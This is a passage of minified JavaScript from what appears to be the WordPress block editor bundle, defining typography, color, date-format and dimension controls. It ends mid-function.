m=[{color:d,description:(0,Ks.__)(&quot;text color&quot;)},{color:f,description:(0,Ks.__)(&quot;link color&quot;)}],h=Bt(u),p=h.alpha()&lt;1,g=h.brightness(),b={level:&quot;AA&quot;,size:i||i!==!1&amp;&amp;n&gt;=24?&quot;large&quot;:&quot;small&quot;},v=&quot;&quot;,k=&quot;&quot;;for(let y of m){if(!y.color)continue;let S=Bt(y.color),x=S.isReadable(h,b),C=S.alpha()&lt;1;if(!x){if(p||C)continue;v=g&lt;S.brightness()?(0,Ks.sprintf)((0,Ks.__)(&quot;This color combination may be hard for people to read. Try using a darker background color and/or a brighter %s.&quot;),y.description):(0,Ks.sprintf)((0,Ks.__)(&quot;This color combination may be hard for people to read. Try using a brighter background color and/or a darker %s.&quot;),y.description),k=(0,Ks.__)(&quot;This color combination may be hard for people to read.&quot;);break}C&amp;&amp;c&amp;&amp;(v=(0,Ks.__)(&quot;Transparent text may be hard for people to read.&quot;),k=(0,Ks.__)(&quot;Transparent text may be hard for people to read.&quot;))}return v?((0,fte.speak)(k),(0,C3.jsx)(&quot;div&quot;,{className:&quot;block-editor-contrast-checker&quot;,children:(0,C3.jsx)(dte.Notice,{spokenMessage:null,status:&quot;warning&quot;,isDismissible:!1,children:v})})):null}var QT=sEe;var br=l(N(),1),FS=l(pc(),1),JT=l(R(),1),ai=l(A(),1),Fa=l(w(),1),xd=new Date;xd.setDate(20);xd.setMonth(xd.getMonth()-3);xd.getMonth()===4&amp;&amp;xd.setMonth(3);function pte({format:e,defaultFormat:t,onChange:o}){return(0,Fa.jsxs)(ai.__experimentalVStack,{as:&quot;fieldset&quot;,spacing:4,className:&quot;block-editor-date-format-picker&quot;,children:[(0,Fa.jsx)(ai.VisuallyHidden,{as:&quot;legend&quot;,children:(0,br.__)(&quot;Date format&quot;)}),(0,Fa.jsx)(ai.ToggleControl,{label:(0,br.__)(&quot;Default format&quot;),help:`${(0,br.__)(&quot;Example:&quot;)}  ${(0,FS.dateI18n)(t,xd)}`,checked:!e,onChange:r=&gt;o(r?null:t)}),e&amp;&amp;(0,Fa.jsx)(aEe,{format:e,onChange:o})]})}function aEe({format:e,onChange:t}){let r=[...[...new Set([&quot;Y-m-d&quot;,(0,br._x)(&quot;n/j/Y&quot;,&quot;short date format&quot;),(0,br._x)(&quot;n/j/Y g:i A&quot;,&quot;short date format with time&quot;),(0,br._x)(&quot;M j, Y&quot;,&quot;medium date format&quot;),(0,br._x)(&quot;M j, Y g:i A&quot;,&quot;medium date format with time&quot;),(0,br._x)(&quot;F j, Y&quot;,&quot;long date format&quot;),(0,br._x)(&quot;M j&quot;,&quot;short date format without the year&quot;)])].map((a,c)=&gt;({key:`suggested-${c}`,name:(0,FS.dateI18n)(a,xd),format:a})),{key:&quot;human-diff&quot;,name:(0,FS.humanTimeDiff)(xd),format:&quot;human-diff&quot;}],n={key:&quot;custom&quot;,name:(0,br.__)(&quot;Custom&quot;),className:&quot;block-editor-date-format-picker__custom-format-select-control__custom-option&quot;,hint:(0,br.__)(&quot;Enter your own date format&quot;)},[i,s]=(0,JT.useState)(()=&gt;!!e&amp;&amp;!r.some(a=&gt;a.format===e));return(0,Fa.jsxs)(ai.__experimentalVStack,{children:[(0,Fa.jsx)(ai.CustomSelectControl,{__next40pxDefaultSize:!0,label:(0,br.__)(&quot;Choose a format&quot;),options:[...r,n],value:i?n:r.find(a=&gt;a.format===e)??n,onChange:({selectedItem:a})=&gt;{a===n?s(!0):(s(!1),t(a.format))}}),i&amp;&amp;(0,Fa.jsx)(ai.TextControl,{__next40pxDefaultSize:!0,label:(0,br.__)(&quot;Custom format&quot;),hideLabelFromVision:!0,help:(0,JT.createInterpolateElement)((0,br.__)(&quot;Enter a date or time &lt;Link&gt;format string&lt;/Link&gt;.&quot;),{Link:(0,Fa.jsx)(ai.ExternalLink,{href:(0,br.__)(&quot;https://wordpress.org/documentation/article/customize-date-and-time-format/&quot;)})}),value:e,onChange:a=&gt;t(a)})]})}var Ji=l(A(),1),zS=l(N(),1),hte=l(it(),1);var gte=l(Z(),1),za=l(w(),1);function bte({id:e,colorPalette:t,duotonePalette:o,disableCustomColors:r,disableCustomDuotone:n,value:i,onChange:s}){let a;i===&quot;unset&quot;?a=(0,za.jsx)(Ji.ColorIndicator,{className:&quot;block-editor-duotone-control__unset-indicator&quot;}):i?a=(0,za.jsx)(Ji.DuotoneSwatch,{values:i}):a=(0,za.jsx)(we,{icon:xA});let c=(0,zS.__)(&quot;Apply duotone filter&quot;),d=`${(0,gte.useInstanceId)(bte,&quot;duotone-control&quot;,e)}__description`;return(0,za.jsx)(Ji.Dropdown,{popoverProps:{className:&quot;block-editor-duotone-control__popover&quot;,headerTitle:(0,zS.__)(&quot;Duotone&quot;)},renderToggle:({isOpen:f,onToggle:m})=&gt;(0,za.jsx)(Ji.ToolbarButton,{showTooltip:!0,onClick:m,&quot;aria-haspopup&quot;:&quot;true&quot;,&quot;aria-expanded&quot;:f,onKeyDown:p=&gt;{!f&amp;&amp;p.keyCode===hte.DOWN&amp;&amp;(p.preventDefault(),m())},label:c,icon:a}),renderContent:()=&gt;(0,za.jsxs)(Ji.MenuGroup,{label:(0,zS.__)(&quot;Duotone&quot;),children:[(0,za.jsx)(&quot;p&quot;,{children:(0,zS.__)(&quot;Create a two-tone color effect without losing your original image.&quot;)}),(0,za.jsx)(Ji.DuotonePicker,{&quot;aria-label&quot;:c,&quot;aria-describedby&quot;:d,colorPalette:t,duotonePalette:o,disableCustomColors:r,disableCustomDuotone:n,value:i,onChange:s})]})})}var eI=bte;var Ste=l(A(),1),_te=l(Re(),1),xte=l(R(),1),li=l(N(),1);var tr=l(N(),1);var tI=l(N(),1);function kte(e){if(!e)return{};if(typeof e==&quot;object&quot;)return e;let t;switch(e){case&quot;normal&quot;:t=(0,tI._x)(&quot;Regular&quot;,&quot;font style&quot;);break;case&quot;italic&quot;:t=(0,tI._x)(&quot;Italic&quot;,&quot;font style&quot;);break;case&quot;oblique&quot;:t=(0,tI._x)(&quot;Oblique&quot;,&quot;font style&quot;);break;default:t=e;break}return{name:t,value:e}}var Ys=l(N(),1);function B3(e){if(!e)return{};if(typeof e==&quot;object&quot;)return e;let t;switch(e){case&quot;normal&quot;:case&quot;400&quot;:t=(0,Ys._x)(&quot;Regular&quot;,&quot;font weight&quot;);break;case&quot;bold&quot;:case&quot;700&quot;:t=(0,Ys._x)(&quot;Bold&quot;,&quot;font weight&quot;);break;case&quot;100&quot;:t=(0,Ys._x)(&quot;Thin&quot;,&quot;font weight&quot;);break;case&quot;200&quot;:t=(0,Ys._x)(&quot;Extra Light&quot;,&quot;font weight&quot;);break;case&quot;300&quot;:t=(0,Ys._x)(&quot;Light&quot;,&quot;font weight&quot;);break;case&quot;500&quot;:t=(0,Ys._x)(&quot;Medium&quot;,&quot;font weight&quot;);break;case&quot;600&quot;:t=(0,Ys._x)(&quot;Semi Bold&quot;,&quot;font weight&quot;);break;case&quot;800&quot;:t=(0,Ys._x)(&quot;Extra Bold&quot;,&quot;font weight&quot;);break;case&quot;900&quot;:t=(0,Ys._x)(&quot;Black&quot;,&quot;font weight&quot;);break;case&quot;1000&quot;:t=(0,Ys._x)(&quot;Extra Black&quot;,&quot;font weight&quot;);break;default:t=e;break}return{name:t,value:e}}var vte=[{name:(0,tr._x)(&quot;Regular&quot;,&quot;font style&quot;),value:&quot;normal&quot;},{name:(0,tr._x)(&quot;Italic&quot;,&quot;font style&quot;),value:&quot;italic&quot;}],yte=[{name:(0,tr._x)(&quot;Thin&quot;,&quot;font weight&quot;),value:&quot;100&quot;},{name:(0,tr._x)(&quot;Extra Light&quot;,&quot;font weight&quot;),value:&quot;200&quot;},{name:(0,tr._x)(&quot;Light&quot;,&quot;font weight&quot;),value:&quot;300&quot;},{name:(0,tr._x)(&quot;Regular&quot;,&quot;font weight&quot;),value:&quot;400&quot;},{name:(0,tr._x)(&quot;Medium&quot;,&quot;font weight&quot;),value:&quot;500&quot;},{name:(0,tr._x)(&quot;Semi Bold&quot;,&quot;font weight&quot;),value:&quot;600&quot;},{name:(0,tr._x)(&quot;Bold&quot;,&quot;font weight&quot;),value:&quot;700&quot;},{name:(0,tr._x)(&quot;Extra Bold&quot;,&quot;font weight&quot;),value:&quot;800&quot;},{name:(0,tr._x)(&quot;Black&quot;,&quot;font weight&quot;),value:&quot;900&quot;},{name:(0,tr._x)(&quot;Extra Black&quot;,&quot;font weight&quot;),value:&quot;1000&quot;}];function ib(e){let t=[],o=[],r=[],n=!e||e?.length===0,i=!1;return e?.forEach(s=&gt;{if(typeof s.fontWeight==&quot;string&quot;&amp;&amp;/\s/.test(s.fontWeight.trim())){i=!0;let[u,d]=s.fontWeight.split(&quot; &quot;);u=parseInt(u.slice(0,1)),d===&quot;1000&quot;?d=10:d=parseInt(d.slice(0,1));for(let f=u;f&lt;=d;f++){let m=`${f.toString()}00`;o.some(h=&gt;h.value===m)||o.push(B3(m))}}let a=B3(typeof s.fontWeight==&quot;number&quot;?s.fontWeight.toString():s.fontWeight),c=kte(s.fontStyle);c&amp;&amp;Object.keys(c).length&amp;&amp;(t.some(u=&gt;u.value===c.value)||t.push(c)),a&amp;&amp;Object.keys(a).length&amp;&amp;(o.some(u=&gt;u.value===a.value)||i||o.push(a))}),o.some(s=&gt;s.value&gt;=&quot;600&quot;)||o.push({name:(0,tr._x)(&quot;Bold&quot;,&quot;font weight&quot;),value:&quot;700&quot;}),t.some(s=&gt;s.value===&quot;italic&quot;)||t.push({name:(0,tr._x)(&quot;Italic&quot;,&quot;font style&quot;),value:&quot;italic&quot;}),n&amp;&amp;(t=vte,o=yte),t=t.length===0?vte:t,o=o.length===0?yte:o,t.forEach(({name:s,value:a})=&gt;{o.forEach(({name:c,value:u})=&gt;{let d=a===&quot;normal&quot;?c:(0,tr.sprintf)((0,tr._x)(&quot;%1$s %2$s&quot;,&quot;font&quot;),c,s);r.push({key:`${a}-${u}`,name:d,style:{fontStyle:a,fontWeight:u}})})}),{fontStyles:t,fontWeights:o,combinedStyleAndWeightOptions:r,isSystemFont:n,isVariableFont:i}}var wte=l(w(),1),lEe=(e,t)=&gt;e?t?(0,li.__)(&quot;Appearance&quot;):(0,li.__)(&quot;Font style&quot;):(0,li.__)(&quot;Font weight&quot;);function oI(e){let{__next40pxDefaultSize:t=!1,onChange:o,hasFontStyles:r=!0,hasFontWeights:n=!0,fontFamilyFaces:i,value:{fontStyle:s,fontWeight:a},...c}=e,u=r||n,d=lEe(r,n),f={key:&quot;default&quot;,name:(0,li.__)(&quot;Default&quot;),style:{fontStyle:void 0,fontWeight:void 0}},{fontStyles:m,fontWeights:h,combinedStyleAndWeightOptions:p}=ib(i),g=()=&gt;{let x=[f];return p&amp;&amp;x.push(...p),x},b=()=&gt;{let x=[f];return m.forEach(({name:C,value:B})=&gt;{x.push({key:B,name:C,style:{fontStyle:B,fontWeight:void 0}})}),x},v=()=&gt;{let x=[f];return h.forEach(({name:C,value:B})=&gt;{x.push({key:B,name:C,style:{fontStyle:void 0,fontWeight:B}})}),x},k=(0,xte.useMemo)(()=&gt;r&amp;&amp;n?g():r?b():v(),[e.options,m,h,p]),y=k.find(x=&gt;x.style.fontStyle===s&amp;&amp;x.style.fontWeight===a)||k[0],S=()=&gt;y?r?n?(0,li.sprintf)((0,li.__)(&quot;Currently selected font appearance: %s&quot;),y.name):(0,li.sprintf)((0,li.__)(&quot;Currently selected font style: %s&quot;),y.name):(0,li.sprintf)((0,li.__)(&quot;Currently selected font weight: %s&quot;),y.name):(0,li.__)(&quot;No selected font appearance&quot;);return!t&amp;&amp;(c.size===void 0||c.size===&quot;default&quot;)&amp;&amp;(0,_te.default)(&quot;36px default size for wp.blockEditor.__experimentalFontAppearanceControl&quot;,{since:&quot;6.8&quot;,version:&quot;7.1&quot;,hint:&quot;Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version.&quot;}),u&amp;&amp;(0,wte.jsx)(Ste.CustomSelectControl,{...c,className:&quot;components-font-appearance-control&quot;,__next40pxDefaultSize:t,__shouldNotWarnDeprecated36pxSize:!0,label:d,describedBy:S(),options:k,value:y,onChange:({selectedItem:x})=&gt;o(x.style)})}var Cte=l(A(),1),Bte=l(Re(),1),E3=l(N(),1);var Ete=l(w(),1);function rI({__next40pxDefaultSize:e=!1,value:t=&quot;&quot;,onChange:o,fontFamilies:r,className:n,...i}){let[s]=me(&quot;typography.fontFamilies&quot;);if(r||(r=s),!r||r.length===0)return null;let a=[{key:&quot;&quot;,name:(0,E3.__)(&quot;Default&quot;)},...r.map(({fontFamily:u,name:d})=&gt;({key:u,name:d||u,style:{fontFamily:u}}))];!e&amp;&amp;(i.size===void 0||i.size===&quot;default&quot;)&amp;&amp;(0,Bte.default)(&quot;36px default size for wp.blockEditor.__experimentalFontFamilyControl&quot;,{since:&quot;6.8&quot;,version:&quot;7.1&quot;,hint:&quot;Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version.&quot;});let c=a.find(u=&gt;u.key===t)??&quot;&quot;;return(0,Ete.jsx)(Cte.CustomSelectControl,{__next40pxDefaultSize:e,__shouldNotWarnDeprecated36pxSize:!0,label:(0,E3.__)(&quot;Font&quot;),value:c,onChange:({selectedItem:u})=&gt;o(u.key),options:a,className:V(&quot;block-editor-font-family-control&quot;,n),...i})}var nI=l(A(),1),Tte=l(Re(),1),Ite=l(N(),1);var Pte=l(w(),1);function iI({__next40pxDefaultSize:e=!1,value:t,onChange:o,__unstableInputWidth:r=&quot;60px&quot;,...n}){let[i]=me(&quot;spacing.units&quot;),s=(0,nI.__experimentalUseCustomUnits)({availableUnits:i||[&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;],defaultValues:{px:2,em:.2,rem:.2}});return!e&amp;&amp;(n.size===void 0||n.size===&quot;default&quot;)&amp;&amp;(0,Tte.default)(&quot;36px default size for wp.blockEditor.__experimentalLetterSpacingControl&quot;,{since:&quot;6.8&quot;,version:&quot;7.1&quot;,hint:&quot;Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version.&quot;}),(0,Pte.jsx)(nI.__experimentalUnitControl,{__next40pxDefaultSize:e,__shouldNotWarnDeprecated36pxSize:!0,...n,label:(0,Ite.__)(&quot;Letter spacing&quot;),value:t,__unstableInputWidth:r,units:s,onChange:o})}var jS=l(N(),1),sI=l(A(),1),T3=l(w(),1),cEe=[{label:(0,jS.__)(&quot;None&quot;),value:&quot;none&quot;,icon:Dr},{label:(0,jS.__)(&quot;Underline&quot;),value:&quot;underline&quot;,icon:RA},{label:(0,jS.__)(&quot;Strikethrough&quot;),value:&quot;line-through&quot;,icon:IA}];function aI({value:e,onChange:t,className:o}){return(0,T3.jsx)(sI.__experimentalToggleGroupControl,{isDeselectable:!0,__next40pxDefaultSize:!0,label:(0,jS.__)(&quot;Decoration&quot;),className:V(&quot;block-editor-text-decoration-control&quot;,o),value:e,onChange:r=&gt;{t(r===e?void 0:r)},children:cEe.map(r=&gt;(0,T3.jsx)(sI.__experimentalToggleGroupControlOptionIcon,{value:r.value,icon:r.icon,label:r.label},r.value))})}var sb=l(N(),1);var lI=l(A(),1),I3=l(w(),1),uEe=[{label:(0,sb.__)(&quot;None&quot;),value:&quot;none&quot;,icon:Dr},{label:(0,sb.__)(&quot;Uppercase&quot;),value:&quot;uppercase&quot;,icon:AA},{label:(0,sb.__)(&quot;Lowercase&quot;),value:&quot;lowercase&quot;,icon:EA},{label:(0,sb.__)(&quot;Capitalize&quot;),value:&quot;capitalize&quot;,icon:CA}];function cI({className:e,value:t,onChange:o}){return(0,I3.jsx)(lI.__experimentalToggleGroupControl,{isDeselectable:!0,__next40pxDefaultSize:!0,label:(0,sb.__)(&quot;Letter case&quot;),className:V(&quot;block-editor-text-transform-control&quot;,e),value:t,onChange:r=&gt;{o(r===t?void 0:r)},children:uEe.map(r=&gt;(0,I3.jsx)(lI.__experimentalToggleGroupControlOptionIcon,{value:r.value,icon:r.icon,label:r.label},r.value))})}var ab=l(N(),1);var uI=l(A(),1),P3=l(w(),1),dEe=[{label:(0,ab.__)(&quot;Horizontal&quot;),value:&quot;horizontal-tb&quot;,icon:CN},{label:(0,ab.__)(&quot;Vertical&quot;),value:(0,ab.isRTL)()?&quot;vertical-lr&quot;:&quot;vertical-rl&quot;,icon:EN}];function dI({className:e,value:t,onChange:o}){return(0,P3.jsx)(uI.__experimentalToggleGroupControl,{isDeselectable:!0,__next40pxDefaultSize:!0,label:(0,ab.__)(&quot;Orientation&quot;),className:V(&quot;block-editor-writing-mode-control&quot;,e),value:t,onChange:r=&gt;{o(r===t?void 0:r)},children:dEe.map(r=&gt;(0,P3.jsx)(uI.__experimentalToggleGroupControlOptionIcon,{value:r.value,icon:r.icon,label:r.label},r.value))})}var Xr=l(A(),1),Rte=l(R(),1),Ote=l(N(),1);var Uo=l(w(),1),fEe=({setting:e,children:t,panelId:o,...r})=&gt;{let n=()=&gt;{e.colorValue?e.onColorChange():e.gradientValue&amp;&amp;e.onGradientChange()};return(0,Uo.jsx)(Xr.__experimentalToolsPanelItem,{hasValue:()=&gt;!!e.colorValue||!!e.gradientValue,label:e.label,onDeselect:n,isShownByDefault:e.isShownByDefault!==void 0?e.isShownByDefault:!0,...r,className:&quot;block-editor-tools-panel-color-gradient-settings__item&quot;,panelId:o,resetAllFilter:e.resetAllFilter,children:t})},mEe=({colorValue:e,label:t})=&gt;(0,Uo.jsxs)(Xr.__experimentalHStack,{justify:&quot;flex-start&quot;,children:[(0,Uo.jsx)(Xr.ColorIndicator,{className:&quot;block-editor-panel-color-gradient-settings__color-indicator&quot;,colorValue:e}),(0,Uo.jsx)(Xr.FlexItem,{className:&quot;block-editor-panel-color-gradient-settings__color-name&quot;,title:t,children:t})]}),pEe=e=&gt;function({onToggle:o,isOpen:r}){let{clearable:n,colorValue:i,gradientValue:s,onColorChange:a,onGradientChange:c,label:u}=e,d=(0,Rte.useRef)(void 0),f={onClick:o,className:V(&quot;block-editor-panel-color-gradient-settings__dropdown&quot;,{&quot;is-open&quot;:r}),&quot;aria-expanded&quot;:r,ref:d},m=()=&gt;{i?a():s&amp;&amp;c()},h=i??s;return(0,Uo.jsxs)(Uo.Fragment,{children:[(0,Uo.jsx)(Xr.Button,{__next40pxDefaultSize:!0,...f,children:(0,Uo.jsx)(mEe,{colorValue:h,label:u})}),n&amp;&amp;h&amp;&amp;(0,Uo.jsx)(Xr.Button,{__next40pxDefaultSize:!0,label:(0,Ote.__)(&quot;Reset&quot;),className:&quot;block-editor-panel-color-gradient-settings__reset&quot;,size:&quot;small&quot;,icon:Dr,onClick:()=&gt;{m(),r&amp;&amp;o(),d.current?.focus()}})]})};function fI({colors:e,disableCustomColors:t,disableCustomGradients:o,enableAlpha:r,gradients:n,settings:i,__experimentalIsRenderedInSidebar:s,...a}){let c;return s&amp;&amp;(c={placement:&quot;left-start&quot;,offset:36,shift:!0}),(0,Uo.jsx)(Uo.Fragment,{children:i.map((u,d)=&gt;{let f={clearable:!1,colorValue:u.colorValue,colors:e,disableCustomColors:t,disableCustomGradients:o,enableAlpha:r,gradientValue:u.gradientValue,gradients:n,label:u.label,onColorChange:u.onColorChange,onGradientChange:u.onGradientChange,showTitle:!1,__experimentalIsRenderedInSidebar:s,...u},m={clearable:u.clearable,label:u.label,colorValue:u.colorValue,gradientValue:u.gradientValue,onColorChange:u.onColorChange,onGradientChange:u.onGradientChange};return u&amp;&amp;(0,Uo.jsx)(fEe,{setting:u,...a,children:(0,Uo.jsx)(Xr.Dropdown,{popoverProps:c,className:&quot;block-editor-tools-panel-color-gradient-settings__dropdown&quot;,renderToggle:pEe(m),renderContent:()=&gt;(0,Uo.jsx)(Xr.__experimentalDropdownContentWrapper,{paddingSize:&quot;none&quot;,children:(0,Uo.jsx)(&quot;div&quot;,{className:&quot;block-editor-panel-color-gradient-settings__dropdown-content&quot;,children:(0,Uo.jsx)(_d,{...f})})})})},d)})})}var mI=l(A(),1),Ate=l(F(),1),Lte=l(Z(),1);var R3=l(R(),1),Um=l(N(),1);function wd(){let[e,t,o,r,n,i,s,a,c,u]=me(&quot;color.custom&quot;,&quot;color.palette.custom&quot;,&quot;color.palette.theme&quot;,&quot;color.palette.default&quot;,&quot;color.defaultPalette&quot;,&quot;color.customGradient&quot;,&quot;color.gradients.custom&quot;,&quot;color.gradients.theme&quot;,&quot;color.gradients.default&quot;,&quot;color.defaultGradients&quot;),d={disableCustomColors:!e,disableCustomGradients:!i};return d.colors=(0,R3.useMemo)(()=&gt;{let f=[];return o&amp;&amp;o.length&amp;&amp;f.push({name:(0,Um._x)(&quot;Theme&quot;,&quot;Indicates this palette comes from the theme.&quot;),slug:&quot;theme&quot;,colors:o}),n&amp;&amp;r&amp;&amp;r.length&amp;&amp;f.push({name:(0,Um._x)(&quot;Default&quot;,&quot;Indicates this palette comes from WordPress.&quot;),slug:&quot;default&quot;,colors:r}),t&amp;&amp;t.length&amp;&amp;f.push({name:(0,Um._x)(&quot;Custom&quot;,&quot;Indicates this palette is created by the user.&quot;),slug:&quot;custom&quot;,colors:t}),f},[t,o,r,n]),d.gradients=(0,R3.useMemo)(()=&gt;{let f=[];return a&amp;&amp;a.length&amp;&amp;f.push({name:(0,Um._x)(&quot;Theme&quot;,&quot;Indicates this palette comes from the theme.&quot;),slug:&quot;theme&quot;,gradients:a}),u&amp;&amp;c&amp;&amp;c.length&amp;&amp;f.push({name:(0,Um._x)(&quot;Default&quot;,&quot;Indicates this palette comes from WordPress.&quot;),slug:&quot;default&quot;,gradients:c}),s&amp;&amp;s.length&amp;&amp;f.push({name:(0,Um._x)(&quot;Custom&quot;,&quot;Indicates this palette is created by the user.&quot;),slug:&quot;custom&quot;,gradients:s}),f},[s,a,c,u]),d.hasColorsOrGradients=!!d.colors.length||!!d.gradients.length,d}var qs=l(w(),1),hEe=[&quot;colors&quot;,&quot;disableCustomColors&quot;,&quot;gradients&quot;,&quot;disableCustomGradients&quot;],O3=({className:e,colors:t,gradients:o,disableCustomColors:r,disableCustomGradients:n,children:i,settings:s,title:a,showTitle:c=!0,__experimentalIsRenderedInSidebar:u,enableAlpha:d})=&gt;{let f=(0,Lte.useInstanceId)(O3),{batch:m}=(0,Ate.useRegistry)();return(!t||t.length===0)&amp;&amp;(!o||o.length===0)&amp;&amp;r&amp;&amp;n&amp;&amp;s?.every(h=&gt;(!h.colors||h.colors.length===0)&amp;&amp;(!h.gradients||h.gradients.length===0)&amp;&amp;(h.disableCustomColors===void 0||h.disableCustomColors)&amp;&amp;(h.disableCustomGradients===void 0||h.disableCustomGradients))?null:(0,qs.jsxs)(mI.__experimentalToolsPanel,{className:V(&quot;block-editor-panel-color-gradient-settings&quot;,e),label:c?a:void 0,resetAll:()=&gt;{m(()=&gt;{s.forEach(({colorValue:h,gradientValue:p,onColorChange:g,onGradientChange:b})=&gt;{h?g():p&amp;&amp;b()})})},panelId:f,__experimentalFirstVisibleItemClass:&quot;first&quot;,__experimentalLastVisibleItemClass:&quot;last&quot;,children:[(0,qs.jsx)(fI,{settings:s,panelId:f,colors:t,gradients:o,disableCustomColors:r,disableCustomGradients:n,__experimentalIsRenderedInSidebar:u,enableAlpha:d}),!!i&amp;&amp;(0,qs.jsxs)(qs.Fragment,{children:[(0,qs.jsx)(mI.__experimentalSpacer,{marginY:4}),&quot; &quot;,i]})]})},gEe=e=&gt;{let t=wd();return(0,qs.jsx)(O3,{...t,...e})},bEe=e=&gt;hEe.every(t=&gt;e.hasOwnProperty(t))?(0,qs.jsx)(O3,{...e}):(0,qs.jsx)(gEe,{...e}),pI=bEe;var hI=l(R(),1),Hm=l(A(),1),L3=l(N(),1);var US=l(w(),1),A3=[],kEe={...KT,px:{max:1e3,steps:1},em:{max:50,steps:.1},rem:{max:50,steps:.1}};function vEe(e){let t=e?.default??A3,o=e?.custom??A3,r=e?.theme??A3;return(0,hI.useMemo)(()=&gt;[{name:(0,L3.__)(&quot;None&quot;),slug:&quot;0&quot;,size:0},...o,...r,...t],[o,r,t])}function lb({label:e=(0,L3.__)(&quot;Dimension&quot;),onChange:t,value:o}){let[r,n]=me(&quot;dimensions.dimensionSizes&quot;,&quot;spacing.units&quot;),i=(0,Hm.__experimentalUseCustomUnits)({availableUnits:n||[&quot;%&quot;,&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;,&quot;vh&quot;,&quot;vw&quot;]}),s=vEe(r),[a,c]=(0,hI.useState)(()=&gt;{let[,d]=(0,Hm.__experimentalParseQuantityAndUnitFromRawValue)(o);return d||i[0]?.value||&quot;px&quot;}),u=d=&gt;{let[f,m]=(0,Hm.__experimentalParseQuantityAndUnitFromRawValue)(o);[&quot;em&quot;,&quot;rem&quot;].includes(d)&amp;&amp;m===&quot;px&quot;?t((f/16).toFixed(2)+d):[&quot;em&quot;,&quot;rem&quot;].includes(m)&amp;&amp;d===&quot;px&quot;?t(Math.round(f*16)+d):[&quot;%&quot;,&quot;vw&quot;,&quot;svw&quot;,&quot;lvw&quot;,&quot;dvw&quot;,&quot;vh&quot;,&quot;svh&quot;,&quot;lvh&quot;,&quot;dvh&quot;,&quot;vi&quot;,&quot;svi&quot;,&quot;lvi&quot;,&quot;dvi&quot;,&quot;vb&quot;,&quot;svb&quot;,&quot;lvb&quot;,&quot;dvb&quot;,&quot;vmin&quot;,&quot;svmin&quot;,&quot;lvmin&quot;,&quot;dvmin&quot;,&quot;vmax&quot;,&quot;svmax&quot;,&quot;lvmax&quot;,&quot;dvmax&quot;].includes(d)&amp;&amp;f&gt;100&amp;&amp;t(100+d),c(d)};return(0,US.jsxs)(&quot;fieldset&quot;,{className:&quot;block-editor-dimension-control&quot;,children:[(0,US.jsx)(Hm.BaseControl.VisualLabel,{as:&quot;legend&quot;,children:e}),(0,US.jsx)(jm,{ariaLabel:e,className:&quot;block-editor-dimension-control&quot;,customValueSettings:kEe,minimumCustomValue:0,onChange:t,onUnitChange:u,presets:s,presetType:&quot;dimension&quot;,selectedUnit:a,showTooltip:!0,units:i,value:o})]})}var Mte=l(R(),1),or=l(A(),1),Dte=l(N(),1),Vte=l(Re(),1);var ja=l(w(),1),Nte={px:{max:1e3,step:1},&quot;%&quot;:{max:100,step:1},vw:{max:100,step:1},vh:{max:100,step:1},em:{max:50,step:.1},rem:{max:50,step:.1},svw:{max:100,step:1},lvw:{max:100,step:1},dvw:{max:100,step:1},svh:{max:100,step:1},lvh:{max:100,step:1},dvh:{max:100,step:1},vi:{max:100,step:1},svi:{max:100,step:1},lvi:{max:100,step:1},dvi:{max:100,step:1},vb:{max:100,step:1},svb:{max:100,step:1},lvb:{max:100,step:1},dvb:{max:100,step:1},vmin:{max:100,step:1},svmin:{max:100,step:1},lvmin:{max:100,step:1},dvmin:{max:100,step:1},vmax:{max:100,step:1},svmax:{max:100,step:1},lvmax:{max:100,step:1},dvmax:{max:100,step:1}};function Fte({label:e=(0,Dte.__)(&quot;Height&quot;),onChange:t,value:o}){(0,Vte.default)(&quot;wp.blockEditor.HeightControl&quot;,{since:&quot;7.0&quot;,version:&quot;7.2&quot;,alternative:&quot;wp.blockEditor.DimensionControl&quot;});let r=parseFloat(o),[n]=me(&quot;spacing.units&quot;),i=(0,or.__experimentalUseCustomUnits)({availableUnits:n||[&quot;%&quot;,&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;,&quot;vh&quot;,&quot;vw&quot;]}),s=(0,Mte.useMemo)(()=&gt;(0,or.__experimentalParseQuantityAndUnitFromRawValue)(o),[o])[1]||i[0]?.value||&quot;px&quot;,a=u=&gt;{t([u,s].join(&quot;&quot;))},c=u=&gt;{let[d,f]=(0,or.__experimentalParseQuantityAndUnitFromRawValue)(o);[&quot;em&quot;,&quot;rem&quot;].includes(u)&amp;&amp;f===&quot;px&quot;?t((d/16).toFixed(2)+u):[&quot;em&quot;,&quot;rem&quot;].includes(f)&amp;&amp;u===&quot;px&quot;?t(Math.round(d*16)+u):[&quot;%&quot;,&quot;vw&quot;,&quot;svw&quot;,&quot;lvw&quot;,&quot;dvw&quot;,&quot;vh&quot;,&quot;svh&quot;,&quot;lvh&quot;,&quot;dvh&quot;,&quot;vi&quot;,&quot;svi&quot;,&quot;lvi&quot;,&quot;dvi&quot;,&quot;vb&quot;,&quot;svb&quot;,&quot;lvb&quot;,&quot;dvb&quot;,&quot;vmin&quot;,&quot;svmin&quot;,&quot;lvmin&quot;,&quot;dvmin&quot;,&quot;vmax&quot;,&quot;svmax&quot;,&quot;lvmax&quot;,&quot;dvmax&quot;].includes(u)&amp;&amp;d&gt;100&amp;&amp;t(100+u)};return(0,ja.jsxs)(&quot;fieldset&quot;,{className:&quot;block-editor-height-control&quot;,children:[(0,ja.jsx)(or.BaseControl.VisualLabel,{as:&quot;legend&quot;,children:e}),(0,ja.jsxs)(or.Flex,{children:[(0,ja.jsx)(or.FlexItem,{isBlock:!0,children:(0,ja.jsx)(or.__experimentalUnitControl,{value:o,units:i,onChange:t,onUnitChange:c,min:0,size:&quot;__unstable-large&quot;,label:e,hideLabelFromVision:!0})}),(0,ja.jsx)(or.FlexItem,{isBlock:!0,children:(0,ja.jsx)(or.__experimentalSpacer,{marginX:2,marginBottom:0,children:(0,ja.jsx)(or.RangeControl,{__next40pxDefaultSize:!0,value:r,min:0,max:Nte[s]?.max??100,step:Nte[s]?.step??.1,withInputField:!1,onChange:a,label:e,hideLabelFromVision:!0})})})]})]})}var $S=l(A(),1);var es=l(jr()),doe=l(soe());function wEe(e,t,o,r,n,i){i===void 0&amp;&amp;(i=0);var s=cb(e,t,i),a=s.width,c=s.height,u=Math.min(a,o),d=Math.min(c,r);return u&gt;d*n?{width:d*n,height:d}:{width:u,height:u/n}}function CEe(e){return 